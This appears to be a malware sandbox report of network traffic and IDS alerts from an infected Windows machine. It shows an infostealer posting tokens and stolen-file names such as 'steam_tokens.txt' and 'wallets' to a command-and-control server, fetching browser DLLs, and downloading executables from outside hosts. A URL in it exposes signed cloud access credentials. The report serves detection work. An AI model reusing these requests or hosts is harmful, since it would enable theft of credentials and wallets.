Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="file"------FHDAFIIDAKJDGDHIDAKJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file"------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCGHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="message"wallets------EHCAEGDHJKFHJKFIJKJE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEGHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="message"files------FBGHIIJDGHCBFIECBKEG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHCHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file"------AKEGDHJDHDAFHJJKJEHC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFIDHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="message"ybncbhylepme------HIEHDAFHDHCBFIDGCFID--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJEGCFBGDHJJJJJKJEHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJEGCFBGDHJJJJJKJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------AAKJEGCFBGDHJJJJJKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKJEGCFBGDHJJJJJKJE--

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49712 -> 176.113.115.33:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49710 -> 103.130.147.211:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49709 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49708 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49719 -> 176.111.174.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49741 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.9:54235 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49766 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49769 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49762 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49761 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49763 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49765 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49772 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49773 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49775 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49777 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49778 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49779 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49780 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49781 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49789 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49782 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49784 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49790 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49785 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49786 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49788 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49791 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49806 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49792 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49798 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49800 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49805 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49802 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49799 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49804 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49808 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49807 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49768 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49774 -> 116.203.165.127:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49726 -> 162.241.61.218:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49727 -> 162.241.61.218:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49730 -> 162.241.61.218:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49723 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49754 -> 162.241.61.218:443

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /kcatelin/jameson/downloads/easyfirewall.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: bitbucket.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vsfdhgg15.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sdhsfd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bbfbfb0f-4597-4ff3-b025-124f61baf271/downloads/7f30c6a5-e68f-46b2-82dc-be29f7fa498f/easyfirewall.exe?response-content-disposition=attachment%3B%20filename%3D%22easyfirewall.exe%22&AWSAccessKeyId=ASIA6KOSE3BNGNWBPVIG&Signature=RG7gLpLQM9DgrtzKECr%2F5hgaEBw%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMSJHMEUCIQDFdamkZ04A05ya5JjE%2BO96KfXxuSlOnxf1KU2WbhcgUAIgZVAiwI6sPTiv1NV5OPTMgcBSTcThYLQvzmHVuZLepfEqsAIIjf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDEWlad7oE1ErA4%2BxniqEAkPBXDxCFRBvIDaMXH7btuCQePvBHv56Z32PJd%2BrgVAazFvcT%2BdKnWonvbgD%2Bl83gjxQvJNinimAUee0zl9An1zjHrdCynGOjIYCd10WgZZ37gvIdBvOekdVSJQN4VvROptCwbViUPgEar%2FvniBV%2B9dqfZdJIelwOng6Fln8TYeg%2Fl7wUG0nZY4e%2FMaCUav1Yku%2FrJGpCSh4n1nCWTKS7G8gb01L5gOI8TnzTwcjXoM61eavAdUsF%2FtJR2uJ0%2BlBHAgp11FQKPWY6BApQnVnlTsKXD%2Fzo4xyODNargGwFCcO8KVN97GtOSH0yfnXUN2LEsVwXZ144uxzDcaZqLaCMuxhFmrDMODaurcGOp0BK2eIjmGLV4b2uwA8kI4vRD9zrjU%2BmUC3l1cVxad27xvHP82pnJ2i1cZxwMDbzFINMt0y8GSW3msaumnuqBQuixm4zhYMg6rT6MFqZP28%2B%2FJuSlZgb%2BkDseti8cbPYao%2FN7WkgFVWx54F%2F7M1c4sTBsc%2F5%2BvRyyOUVbpkc1t71ns4lfqSh3BTkvYEoJGMd0wh2U5uz5SUmMFeE%2FwfYQ%3D%3D&Expires=1726919784 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vfsdgdf.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCGIIEHIEGDGDGCAEBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 8061Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
